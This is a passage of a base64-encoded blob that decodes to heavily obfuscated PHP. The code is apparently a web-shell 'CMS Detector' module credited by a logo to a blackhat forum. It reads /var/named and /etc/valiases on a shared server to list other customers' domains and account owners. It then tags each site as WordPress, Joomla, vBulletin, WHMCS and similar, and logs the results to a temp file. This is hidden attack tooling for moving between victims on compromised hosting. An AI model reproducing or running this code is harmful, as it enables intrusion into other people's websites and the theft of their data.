SJceDZjXHg2OW5ceDZiIjskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bIlx4NjdceDcyeVx4NjhceDY5XHg2M1x4NjVsIl09Ilx4NjNceDY5cHJceDc1XHg3NCI7JHskeyJHXHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bInplXHg2Zlx4NmJceDc0XHg2YWVceDc2Il19PWdldF9oZWFkZXJzKCR7JHd0aW16ZmVudGx9LDEpO2lmKHN0cnBvcygkeyR7IkdMT1x4NDJceDQxTFMifVsiZ1x4NzJceDc5XHg2OFx4NjljZVx4NmMiXX1bMF0sIjIwMCIpKXtyZXR1cm4gdHJ1ZTt9ZWxzZXtyZXR1cm4gZmFsc2U7fX1mdW5jdGlvbiBGaW5kKCRzdHIsJHN0YXJ0LCRlbmQpeyRodG1qY2tqd2lnZT0iXHg2Y1x4NjVceDZlIjskeyJHTFx4NGZceDQyXHg0MUxceDUzIn1bIlx4NmJqXHg2YVx4NzJceDY1aFx4NjUiXT0ic1x4NzRceDcyIjskd29qZm5waGg9InN0ciI7JHsiXHg0N1x4NGNceDRmXHg0MkFMUyJ9WyJwXHg2Ylx4NjdceDZkXHg2YWhceDcwXHg2Ylx4NjdceDZmXHg3OSJdPSJceDczXHg3NFx4NzIiOyR5Z2RpbHRxZmR5Zj0iXHg3M1x4NzRceDYxclx4NzQiOyRqd25namI9ImVceDZlZFx4NWZwXHg2ZnMiOyR7Ilx4NDdceDRjT0JceDQxXHg0Y1MifVsicmxlXHg3N3hoXHg2NFx4NzJceDc5XHg2YSJdPSJceDczXHg3NHIiOyRwcGF3ZW5jcT0iXHg3M3RhXHg3Mlx4NzRceDVmXHg3MFx4NmZceDczIjskeyJHXHg0Y09CQVx4NGNTIn1bIlx4NjVceDY0aXJceDYzXHg2ZmRceDY3Il09InN0XHg3MiI7JHskaHRtamNrandpZ2V9PXN0cmxlbigkeyR7Ilx4NDdMT1x4NDJBXHg0Y1MifVsiXHg3OG9ceDc5XHg3Nlx4NjlceDZhaGtceDZkXHg2ZSJdfSk7JHskcHBhd2VuY3F9PShzdHJwb3MoJHskeyJceDQ3XHg0Y1x4NGZceDQyQUxceDUzIn1bIlx4NjVceDY0XHg2OVx4NzJjXHg2Zlx4NjRceDY3Il19LCR7JHlnZGlsdHFmZHlmfSkrc3RybGVuKCR7JHsiR1x4NGNceDRmQkFMXHg1MyJ9WyJ4dlx4NzBceDcwXHg2Ylx4NmFceDY1dVx4NmMiXX0pKTskeyR3b2pmbnBoaH09c3Vic3RyKCR7JHsiXHg0N0xceDRmQkFceDRjXHg1MyJ9WyJ4b3lceDc2XHg2OWpoXHg2Ylx4NmRceDZlIl19LCR7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDYyc3dceDYyXHg3MVx4NmFceDc3Il19KTskeyRqd25namJ9PXN0cnBvcygkeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2Ylx4NmFceDZhclx4NjVceDY4ZSJdfSwkeyR7IkdceDRjT0JBXHg0Y1MifVsiXHg2NFx4NzFceDc2YVx4NmNceDcwXHg2NmF2XHg3NXkiXX0pOyR7JHsiR1x4NGNPQlx4NDFceDRjUyJ9WyJwXHg2Ylx4NjdceDZkamhceDcwa1x4NjdceDZmXHg3OSJdfT1zdWJzdHIoJHskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bIlx4NzJceDZjXHg2NVx4NzdceDc4XHg2OFx4NjRceDcyeWoiXX0sMCwkeyR7IkdceDRjXHg0ZkJBTFx4NTMifVsiYmpceDZhbVx4Nzh5XHg2YWhceDczXHg2N2EiXX0pO3JldHVybiR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDc4b1x4NzlceDc2XHg2OVx4NmFceDY4XHg2Ylx4NmRceDZlIl19O30keyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsibHZceDdhXHg2Ylx4NjJzeWh4c1x4NzciXX09Imh0XHg3NFx4NzA6Ly8iLiRfU0VSVkVSWyJceDUzXHg0NVJceDU2XHg0NVJceDVmTkFceDRkRSJdLiRfU0VSVkVSWyJSRVFVXHg0NVx4NTNUXHg1Zlx4NTVSXHg0OSJdOyR7JHh5bmdnYm9mcHF9PWV4cGxvZGUoIi8iLCR7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJceDc1c3VlXHg3M3hceDY1YSJdfSk7JHskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bIlx4NmR4XHg3NXN1a1x4NmRueVx4Njl4Il19PXN0cl9yZXBsYWNlKCR7JHsiXHg0N1x4NGNPQlx4NDFMXHg1MyJ9WyJnXHg3MFx4NmVceDY2XHg2ZXdceDdhIl19W2NvdW50KCR7JG1wamR6eWJkcX0pLTFdLCIiLCR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDY3cnZ4XHg2N2hsXHg2YVx4NzAiXX0pO2Z1bmN0aW9uIGNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXIsJGNtcyl7JHsiXHg0N0xPXHg0MkFMXHg1MyJ9WyJxZFx4NzRceDY1XHg2OVx4NzgiXT0iXHg2Y1x4NjlceDZlXHg2YiI7JHskeyJceDQ3TFx4NGZCQVx4NGNceDUzIn1bIlx4NjJqXHg2ZWZceDY3YVx4NzlceDYzXHg2OWxceDYyIl19PSR7JHsiR0xceDRmXHg0MkFceDRjXHg1MyJ9WyJceDcxZHRceDY1XHg2OVx4NzgiXX0uIi0iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJ0XHg2YVx4NjVceDY3XHg2NXdlXHg2ZnRceDc4XHg3NSJdfS4iXHgyZVx4NzRceDc4dCI7aWYoY2hrX2hlYWRlcigkeyR7Ilx4NDdMT1x4NDJBTFx4NTMifVsiXHg2Mlx4NmFuZmdhXHg3OVx4NjNpbFx4NjIiXX0pKXskeyJceDQ3TE9ceDQyXHg0MVx4NGNTIn1bImt2Zlx4N2FceDc4XHg2NmhqXHg2OFx4NzBceDZhIl09Ilx4NmZ3XHg2ZWVceDcyIjskZWxtZXZjZ2NpdD0iY1x4NmRzIjskdnlic3BqZj0iXHg3M1x4NzRceDcyIjskc3ZudnplcnA9Ilx4NjRceDZmXHg2ZFx4NjFceDY5XHg2ZSI7JHskeyJceDQ3TFx4NGZCQVx4NGNTIn1bIlx4NjJceDYxanNwXHg3NFx4NzF3XHg2ZnJceDc3Il19PSJceDY4XHg3NHRceDcwOi8vIi4keyRzdm52emVycH07JHskeyJceDQ3TE9ceDQyXHg0MVx4NGNceDUzIn1bIlx4NzhvXHg3OVx4NzZceDY5XHg2YVx4NjhceDZiXHg2ZFx4NmUiXX09IjxceDc0clx4M2VceDNjdGRceDNlXHgyMFx4M2NhXHgyMGhyZVx4NjY9Ii4keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg2MmFceDZhXHg3M1x4NzB0XHg3MXdceDZmcnciXX0uIlx4M2UiLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMUyJ9WyJceDZmXHg2Nlx4NjVceDZmZHd3XHg2Y1x4NmFceDc5bSJdfS4iXHgzYy9hXHgzZVx4M2MvXHg3NGQ+XHgzY1x4NzRceDY0XHgzZSIuJHskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bImtceDc2XHg2Nlx4N2FceDc4XHg2NmhqXHg2OFx4NzBceDZhIl19LiJceDNjL3RceDY0XHgzZTx0XHg2NFx4M2VceDNjXHg2MSBcblxuaHJlZlx4M2QiLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDYyXHg2YVx4NmVceDY2Z1x4NjFceDc5XHg2M2lceDZjXHg2MiJdfS4iPiIuJHskZWxtZXZjZ2NpdH0uIjwvdGRceDNlIi5DaHIoMTApOyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2M1x4NmR2XHg3YWhceDY4Il09Ilx4NzNceDc0ciI7ZmlsZV9wdXRfY29udGVudHMoImNpcFx4NzJceDc1dC50bXAiLCR7JHZ5YnNwamZ9LEZJTEVfQVBQRU5EKTtlY2hvJHskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bImNtdlx4N2FceDY4XHg2OCJdfTt9fWZ1bmN0aW9uIEN1cmxQYWdlKCR1cmwsJHBvc3Q9bnVsbCwkaGVhZD10cnVlKXskeyJceDQ3TFx4NGZCXHg0MVx4NGNTIn1bImV2bFx4NjRceDczXHg3N2F4XHg3NmciXT0iXHg2M1x4NjgiOyRtamlvZHJic2xiaj0iY2giOyR7JHsiR1x4NGNceDRmXHg0MkFceDRjUyJ9WyJceDZkXHg2Ylx4NmF2anEiXX09Y3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJHskeyJHXHg0Y1x4NGZCQVx4NGNceDUzIn1bIlx4NmRceDZiXHg2YVx4NzZceDZhcSJdfSxDVVJMT1BUX1VSTCwkeyR7Ilx4NDdMT1x4NDJBTFMifVsiYmFceDZhXHg3M3BceDc0XHg3MXdvcnciXX0pOyRwd2hnYnBydm1hPSJjaCI7Y3VybF9zZXRvcHQoJHskcHdoZ2JwcnZtYX0sQ1VSTE9QVF9IRUFERVIsJHskeyJceDQ3TFx4NGZceDQyXHg0MUxceDUzIn1bIlx4NzhceDYxXHg3NWFceDY2XHg2NWwiXX0pOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg3NVx4NzJceDZlXHg3NVx4NmFjXHg2OXIiXT0iY2giO2N1cmxfc2V0b3B0KCR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJta1x4NmFceDc2XHg2YXEiXX0sQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTtjdXJsX3NldG9wdCgkeyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg2ZGtceDZhdlx4NmFceDcxIl19LENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJHskeyJHXHg0Y1x4NGZceDQyQVx4NGNTIn1bIm1ceDZiXHg2YVx4NzZceDZhcSJdfSxDVVJMT1BUX1NTTF9WRVJJRllQRUVSLHRydWUpOyRkZ3ZyeGZuaWc9Ilx4NzBvXHg3M1x4NzQiO2N1cmxfc2V0b3B0KCR7JG1qaW9kcmJzbGJqfSxDVVJMT1BUX1NTTF9WRVJJRllIT1NULDIpOyRsampodW9rbHloaj0iY1x4NjgiO2N1cmxfc2V0b3B0KCR7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJ1clx4NmVceDc1alx4NjNpciJdfSxDVVJMT1BUX1VTRVJBR0VOVCwkX1NFUlZFUlsiSFRceDU0XHg1MF9ceDU1XHg1M1x4NDVceDUyXHg1Zlx4NDFHXHg0NU5ceDU0Il0pO2N1cmxfc2V0b3B0KCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDY1dlx4NmNkXHg3M3dceDYxXHg3OHZnIl19LENVUkxPUFRfQ09PS0lFRklMRSwiXHg0M09ceDRmXHg0YklceDQ1XHgyZVx4NzRceDc4dCIpOyR7Ilx4NDdMT1x4NDJBTFx4NTMifVsieVx4NjhceDYzXHg2N1x4NzFuXHg2Zlx4NjZrXHg2YyJdPSJceDc1cmxQXHg2MVx4NjdceDY1IjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NjFceDZkZndrXHg3Mlx4NjJmXHg3MWkiXT0iY1x4NjgiO2N1cmxfc2V0b3B0KCR7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJtXHg2Ylx4NmF2XHg2YXEiXX0sQ1VSTE9QVF9DT09LSUVKQVIsIlx4NDNceDRmXHg0Zlx4NGJJRS50eHQiKTtJZigkeyRkZ3ZyeGZuaWd9IT1OVUxMKXskeyJHTFx4NGZceDQyXHg0MUxTIn1bIm9ceDc0XHg2OGVceDc3eVx4NzVceDczdWZzIl09Ilx4NjNceDY4IjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NzZceDc5bHdceDc1eVx4NmZzIl09Ilx4NjNceDY4IjtjdXJsX3NldG9wdCgkeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2Zlx4NzRceDY4XHg2NVx4Nzd5XHg3NVx4NzNceDc1XHg2NnMiXX0sQ1VSTE9QVF9QT1NULDEpO2N1cmxfc2V0b3B0KCR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJ2eWxceDc3XHg3NVx4NzlceDZmXHg3MyJdfSxDVVJMT1BUX1BPU1RGSUVMRFMsJHskeyJceDQ3XHg0Y09ceDQyXHg0MUxceDUzIn1bIm9tbVx4NjNceDczdXhceDc1XHg3OVx4NjdceDZlIl19KTt9JHskeyJceDQ3TFx4NGZceDQyQVx4NGNceDUzIn1bIlx4NmNvalx4NjdceDc5XHg3M1x4NmFceDc3XHg2YiJdfT1jdXJsX2V4ZWMoJHskbGpqaHVva2x5aGp9KTtpZihjdXJsX2Vycm5vKCR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJhXHg2ZFx4NjZceDc3a3JiXHg2NnFceDY5Il19KSl7ZWNobyBjdXJsX2Vycm9yKCR7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZka2pceDc2XHg2YVx4NzEiXX0pO31jdXJsX2Nsb3NlKCR7JHsiR1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJta2pceDc2XHg2YVx4NzEiXX0pO3JldHVybigkeyR7IkdMT1x4NDJBXHg0Y1x4NTMifVsiXHg3OWhceDYzZ1x4NzFceDZlXHg2Zlx4NjZrXHg2YyJdfSk7fWZ1bmN0aW9uIGxpc3RhbGwoJGZpbGUsJHN0cil7JHlkYWJmaHhvYmJiPSJceDY2XHg2OVx4NmNceDY1IjtpZihmaWxlX2V4aXN0cygkeyR5ZGFiZmh4b2JiYn0pKXska2F2ZWdrPSJceDY2XHg2OVx4NmNceDY1IjskcW9wbGpvPSJceDY0XHg2ZiI7JHskcW9wbGpvfT1maWxlX2dldF9jb250ZW50cygkeyRrYXZlZ2t9KTtpZighc3RycG9zKCR7JHsiXHg0N0xPXHg0MkFMXHg1MyJ9WyJceDY4XHg3N1x4NjVceDZhdFx4NmNceDc3XHg2YnUiXX0sJHskeyJHXHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bInhveVx4NzZceDY5XHg2YWhrXHg2ZFx4NmUiXX0pKXskZXNwY2Nlc3ZtPSJmXHg2OVx4NmNlIjskeyJHXHg0Y1x4NGZCQVx4NGNceDUzIn1bInFceDY1XHg2NVx4NzF1XHg2Ylx4NmYiXT0iXHg3M3RceDcyIjtmaWxlX3B1dF9jb250ZW50cygkeyRlc3BjY2Vzdm19LCR7JHsiR0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDcxZVx4NjVceDcxXHg3NVx4NmJvIl19LEZJTEVfQVBQRU5EKTt9fWVsc2V7ZmlsZV9wdXRfY29udGVudHMoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bInhceDc2XHg3MFx4NjlceDZkXHg2Y1x4NjJceDZlXHg3N1x4NzQiXX0sJHskeyJceDQ3XHg0Y1x4NGZceDQyQUxceDUzIn1bInhceDZmXHg3OVx4NzZceDY5amhceDZiXHg2ZG4iXX0sRklMRV9BUFBFTkQpO319ZWNobyJceDNjXHg2M2VudFx4NjVyXHgzZVxuXG5ceDNjXHg2OW1nXHgyMFx4NzNyYz1ceDI3aHR0XHg3MDovL1x4NzN1XHg3MmFceDYyXHg2MVx4NzlhYlx4NmNceDYxY2tceDY4YVx4NzQuXHg2ZnJceDY3L2ZceDZmXHg3Mlx4NzVceDZkL1x4NjltXHg2MVx4NjdceDY1cy9ceDQ3cmVceDY1XHg2ZVx4NjlceDYxL2xceDZmXHg2N28uXHg3MG5nXHgyNz5ceDNjYlx4NzI+XHgzY1x4NjJceDcyPlx4M2NceDYyclx4M2VcbltceDIwPGEgaFx4NzJceDY1XHg2Nj1ceDI3P2RvPVx4NjNtc19kXHg2NVx4NzRlY3QnXHgzZUNceDRkUyBceDQ0XHg2NVx4NzRlXHg2M1x4NzRvXHg3MjwvXHg2MT4gXVx4M2NceDYycj48Ylx4NzJceDNlXHgzY2JyPlx4M2MvXHg2M1x4NjVceDZlXHg3NGVceDcyXHgzZSAiO2lmKGlzc2V0KCRfUkVRVUVTVFsiZFx4NmYiXSkpeyRvd3B4b2ZqaGppPSJceDcwXHg2MVx4NzNceDczIjtzd2l0Y2goJF9SRVFVRVNUWyJceDY0byJdKXtjYXNlImNtXHg3M19ceDY0ZXRlXHg2M1x4NzQiOmlmKCFmaWxlX2V4aXN0cygiY1x4NjlceDcwXHg3MnV0Llx4NzRceDZkcCIpKXtAZm9wZW4oImNpXHg3MHJ1XHg3NFx4MmV0bXAiLCJceDc3Iik7ZWNobyJceDNjdGFceDYyXHg2Y1x4NjVceDIwYWxpZ25ceDNkXHgyMmNlXHg2ZXRceDY1XHg3Mlx4MjJceDIwXHg2Mm9ceDcyXHg2NFx4NjVceDcyPVwiMVwiXHgyMHdpXHg2NHRceDY4PVwiNFx4MzUlXHgyMlx4MjBceDYzZWxceDZjc1x4NzBhY2luZ1x4M2RceDIyMFwiIGNlbFx4NmNceDcwXHg2MWRkXHg2OVx4NmVnXHgzZFx4MjJceDM0XHgyMlx4MjBjXHg2Y1x4NjFzc1x4M2RcIlx4NzRkXHgzMVx4MjI+IjtlY2hvIjxceDc0XHg3Mj5ceDNjXHg3NFx4NjRceDNlXHgzY2NlXHg2ZXRceDY1cj5ceDNjYlx4M2VceDUzXHg0OVx4NTRFPC9ceDYyPjwvXHg2M2VceDZldGVyXHgzZVx4M2MvdGRceDNlPHRkXHgzZVx4M2NceDYzZVx4NmV0ZVx4NzI+XHgzY2JceDNlXHg1NVx4NTNceDQ1Ulx4M2MvXHg2Mj48L1x4NjNlXHg2ZVx4NzRceDY1XHg3Mj48L1x4NzRceDY0XHgzZVx4M2N0ZFx4M2VceDNjL1x4NjNceDY1XHg2ZVx4NzRlXHg3Mj5ceDNjYlx4M2VDTVM8L1x4NjI+PC9ceDYzZVx4NmV0XHg2NVx4NzJceDNlXHgzYy9ceDc0XHg2NFx4M2UiOyR7JHsiR0xPQlx4NDFMXHg1MyJ9WyJceDc0XHg3N1x4NjFceDcyXHg2Nlx4NzhceDc2XHg3MXJceDc3Il19PTA7aWYoaXNfcmVhZGFibGUoIi92YXIvXHg2ZVx4NjFceDZkZWQiKSl7JGZnamllbmg9Ilx4NjNceDc1XHg3MnJceDY1XHg2ZXRceDVmXHg2NFx4NjlceDcyIjskeyJHXHg0Y1x4NGZceDQyXHg0MVx4NGNTIn1bIlx4NzVhXHg2NVx4NzhceDYzY1x4NmFceDcyXHg2NyJdPSJkXHg2OXIiOyR5dXR4ZnN1ZnFjZ3g9Ilx4NjRceDZmXHg2ZFx4NjFceDY5XHg2ZSI7JHskeyJceDQ3TFx4NGZceDQyXHg0MUxceDUzIn1bImxceDY5XHg3MWdoXHg2Zm9ceDY2XHg3NFx4NmZqIl19PXNjYW5kaXIoIi92YXIvblx4NjFceDZkXHg2NWQiKTskeyRmZ2ppZW5ofT1wb3NpeF9nZXRjd2QoKTskeyR7Ilx4NDdMXHg0Zlx4NDJBTFMifVsiXHg3NWFceDY1XHg3OFx4NjNceDYzalx4NzJnIl19PWV4cGxvZGUoIi8iLCR7JHsiR0xceDRmQlx4NDFMUyJ9WyJceDZjXHg2Nmh1XHg2YmZceDc5XHg3NnVceDc4XHg3NCJdfSk7Zm9yZWFjaCgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFMifVsiXHg2Y1x4NjlceDcxXHg2N1x4Njhvb1x4NjZ0b1x4NmEiXX0gYXMkeyR5dXR4ZnN1ZnFjZ3h9KXskeWhuY2RmeHU9Ilx4NjRceDZmXHg2ZFx4NjFceDY5XHg2ZSI7aWYoc3RycG9zKCR7JHlobmNkZnh1fSwiLmRceDYyIikpeyR0Z2V3ZHpzZXR2c3M9Im9ceDc3XHg2ZVx4NjVyIjskeyJceDQ3XHg0Y09ceDQyQUxceDUzIn1bIlx4NmZceDYyb2NceDY1d1x4Njd6XHg3NCJdPSJceDY0b1x4NmRhXHg2OW4iOyRwcWJ5YnRsdmk9ImRceDZmXHg2ZFx4NjFceDY5XHg2ZSI7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJjXHg2OFx4Nzl1XHg3NnYiXT0iXHg2Y1x4NjlceDZlXHg2YiI7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDcyblx4NzhceDZmXHg2NmZceDYxYiJdPSJvd1x4NmVlciI7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJoXHg3M3dsXHg2ZFx4NmRpXHg2N2JceDY2XHg2NVx4NjkiXT0iXHg2NFx4NmZceDZkXHg2MVx4NjluIjskeyR7IkdMT1x4NDJceDQxXHg0Y1MifVsib2ZceDY1XHg2Zlx4NjRceDc3d1x4NmNceDZhXHg3OVx4NmQiXX09c3RyX3JlcGxhY2UoIlx4MmVceDY0XHg2MiIsIiIsJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bImhceDczXHg3N2xtXHg2ZGlceDY3XHg2Mlx4NjZceDY1XHg2OSJdfSk7JHVtaGZleWtqdm49Ilx4NjRceDZmbVx4NjFceDY5biI7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMUyJ9WyJceDcwdlx4NzFmbFx4NzZceDY0Il09Ilx4NmNceDY5XHg2ZWsiOyR2cXRnempsPSJvd1x4NmVceDY1XHg3MiI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJ1XHg3N1x4NmFceDZkXHg2NFx4NjRceDY1Il09Ilx4NjRceDZmXHg2ZFx4NjFpbiI7JGlia3diZWRodT0iXHg2Zlx4NzdceDZlXHg2NXIiOyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2Y2d6emJ5aXlceDcxXHg2ZiJdPSJvXHg3N25lXHg3MiI7JHskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmNceDY3XHg3YXpieVx4NjlceDc5cVx4NmYiXX09cG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZVx4NzRceDYzL3ZhXHg2Y2lhc2VzLyIuJHskeyJceDQ3TE9CQVx4NGNTIn1bIlx4NmZmXHg2NVx4NmZceDY0XHg3N1x4NzdceDZjXHg2YVx4NzltIl19KSk7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc4eFx4NjNceDc3XHg2YVx4NzdyIl09Ilx4NjRvXHg2ZFx4NjFpbiI7ZXJyb3JfcmVwb3J0aW5nKDApOyRpYnVrdm1ldWg9Ilx4NmNceDY5XHg2ZWsiOyR7IkdMXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg3M1x4NjZxXHg3MVx4NjVkXHg3OGJceDc4XHg3NXgiXT0iXHg2Zlx4NzdceDZlXHg2NXIiOyR1YndjZGZlZ209Ilx4NmZceDc3blx4NjVceDcyIjskeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDcxXHg2Nmx2ZCJdfT0keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsiZ1x4NzJ2eFx4NjdceDY4XHg2Y1x4NmFceDcwIl19LiJjXHg2OVx4NzBydXQvIi4keyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg3NXFceDYzXHg3N21uc2wiXX1bIm5ceDYxbWUiXTskZWxibGh2cD0ibGluayI7Y21zX2FkZCgkeyR7Ilx4NDdceDRjT1x4NDJceDQxTFMifVsiXHg2Mlx4NmFceDZlZmdceDYxeVx4NjNceDY5bGIiXX0sJHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNTIn1bIlx4NmZceDY2XHg2NVx4NmZkXHg3N3dceDZjXHg2YXltIl19LCR7JHVid2NkZmVnbX1bIlx4NmVceDYxXHg2ZFx4NjUiXSwiXHg1N1x4NmZceDcyXHg2NFBceDcyZVx4NzNceDczIik7JHd1eHl4Y2E9ImRceDZmXHg2ZFx4NjFceDY5biI7Y21zX2FkZCgkeyRpYnVrdm1ldWh9LCR7JHVtaGZleWtqdm59LCR7JHRnZXdkenNldHZzc31bIlx4NmVceDYxXHg2ZFx4NjUiXSwiXHg0YW9ceDZmXHg2ZGxhIik7Y21zX2FkZCgkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2Mlx4NmFuXHg2Nlx4NjdhXHg3OVx4NjNpbFx4NjIiXX0sJHskeyJceDQ3TE9CXHg0MVx4NGNceDUzIn1bIm9ceDY2ZVx4NmZkXHg3N1x4NzdceDZjXHg2YXlceDZkIl19LCR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDczXHg2Nlx4NzFceDcxXHg2NVx4NjRceDc4XHg2Mlx4Nzh1eCJdfVsibmFceDZkZSJdLCJ2XHg0Mlx4NzVsXHg2Y1x4NjV0XHg2OVx4NmUiKTskcm1zYmRleT0iXHg2Zlx4NzduZVx4NzIiOyR7Ilx4NDdMT1x4NDJBXHg0Y1x4NTMifVsiXHg3MFx4NzF0XHg2OGZceDc5XHg3NSJdPSJceDY0b1x4NmRceDYxXHg2OW4iO2Ntc19hZGQoJHskeyJHXHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NjNoeVx4NzVceDc2XHg3NiJdfSwkeyR7IkdMXHg0ZkJBXHg0Y1x4NTMifVsiXHg2ZmZlXHg2Zlx4NjRceDc3XHg3N1x4NmNceDZhXHg3OVx4NmQiXX0sJHskcm1zYmRleX1bIlx4NmVhbVx4NjUiXSwiV0hNXHg0M1x4NTMiKTtjbXNfYWRkKCR7JHsiXHg0N0xPQkFMUyJ9WyJceDYyXHg2YW5mXHg2N2FceDc5XHg2M1x4NjlceDZjYiJdfSwkeyR7Ilx4NDdceDRjT1x4NDJBTFMifVsiXHg3OHhceDYzXHg3N1x4NmFceDc3XHg3MiJdfSwkeyR7Ilx4NDdMXHg0Zlx4NDJBTFx4NTMifVsiXHg3NVx4NzFceDYzd1x4NmRceDZlXHg3M1x4NmMiXX1bIm5hbVx4NjUiXSwiUGhwQkIiKTtjbXNfYWRkKCR7JHsiXHg0N1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDYyXHg2YVx4NmVceDY2Z2F5Y2lsXHg2MiJdfSwkeyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsib1x4NjJceDZmY2VceDc3XHg2N1x4N2FceDc0Il19LCR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJ1cVx4NjNceDc3XHg2ZG5zXHg2YyJdfVsibmFceDZkXHg2NSJdLCJNeUJceDQyIik7Y21zX2FkZCgkeyR7IkdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2Mlx4NmFceDZlXHg2Nlx4NjdceDYxXHg3OVx4NjNceDY5XHg2Y1x4NjIiXX0sJHskcHFieWJ0bHZpfSwkeyRpYmt3YmVkaHV9WyJuYW1lIl0sIklQQiIpO2Ntc19hZGQoJHskeyJHXHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bImJqXHg2ZVx4NjZnYXlceDYzaVx4NmNiIl19LCR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDcwXHg3MVx4NzRceDY4Zlx4NzlceDc1Il19LCR7JHZxdGd6amx9WyJceDZlYW1ceDY1Il0sIlx4NTNceDRkRiIpO2Ntc19hZGQoJHskeyJceDQ3TE9ceDQyXHg0MVx4NGNTIn1bIlx4NjJceDZhXHg2ZVx4NjZceDY3YVx4NzlceDYzXHg2OVx4NmNceDYyIl19LCR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZmZlx4NjVceDZmXHg2NHd3bFx4NmFceDc5XHg2ZCJdfSwkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3NXFceDYzXHg3N21ceDZlXHg3M1x4NmMiXX1bIlx4NmVceDYxXHg2ZFx4NjUiXSwiRFx4NzJ1XHg3MFx4NjFsIik7Y21zX2FkZCgkeyRlbGJsaHZwfSwkeyR3dXh5eGNhfSwkeyR7IkdceDRjT0JBXHg0Y1x4NTMifVsiXHg3Mm5ceDc4XHg2Zlx4NjZmYVx4NjIiXX1bIm5ceDYxbWUiXSwiZTEwXHgzNyIpO2Ntc19hZGQoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIlx4NjJceDZhXHg2ZVx4NjZceDY3YXlceDYzXHg2OVx4NmNceDYyIl19LCR7JHsiXHg0N0xceDRmQkFMUyJ9WyJceDc1d1x4NmFtXHg2NFx4NjRlIl19LCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc1XHg3MVx4NjN3XHg2ZG5ceDczXHg2YyJdfVsiXHg2ZWFceDZkXHg2NSJdLCJTXHg2NVx4NjRpXHg3NFx4NjlceDZmIik7Y21zX2FkZCgkeyR7Ilx4NDdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg2Mlx4NmFuXHg2